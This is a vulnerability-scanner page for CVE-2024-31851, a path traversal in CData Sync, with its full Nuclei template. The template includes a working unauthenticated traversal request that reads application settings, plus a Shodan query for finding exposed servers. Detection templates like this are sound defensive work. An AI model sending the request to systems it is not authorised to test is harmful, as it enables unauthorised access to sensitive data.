CData Sync < 23.4.8843 - Path Traversal

highseverity

8.6CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability exists in the Java version of CData Sync < 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.

Impact

Unauthenticated attackers can access sensitive information and perform limited unauthorized actions via path traversal.

Fix

Update CData Sync to version 23.4.8843 or later.

How to confirm it

Send: GET {{BaseURL}}/login.rst
Positive when: contains "<title>CData - Sync"
Send: GET /ui/..\src\getSettings.rsb?@json
Positive when: contains "\"items\":[{" and ":\"true\"" and "notifyemail" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-31851 -u <target>

The full check

id: CVE-2024-31851

info:
  name: CData Sync < 23.4.8843 - Path Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    A path traversal vulnerability exists in the Java version of CData Sync < 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.
  impact: |
    Unauthenticated attackers can access sensitive information and perform limited unauthorized actions via path traversal.
  remediation: |
    Update CData Sync to version 23.4.8843 or later.
  reference:
    - https://www.tenable.com/security/research/tra-2024-09
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31851
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-31851
    cwe-id: CWE-22
    epss-score: 0.02885
    epss-percentile: 0.86986
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData Sync\""
  tags: cve,cve2024,cdata,lfi,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - '<title>CData - Sync'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

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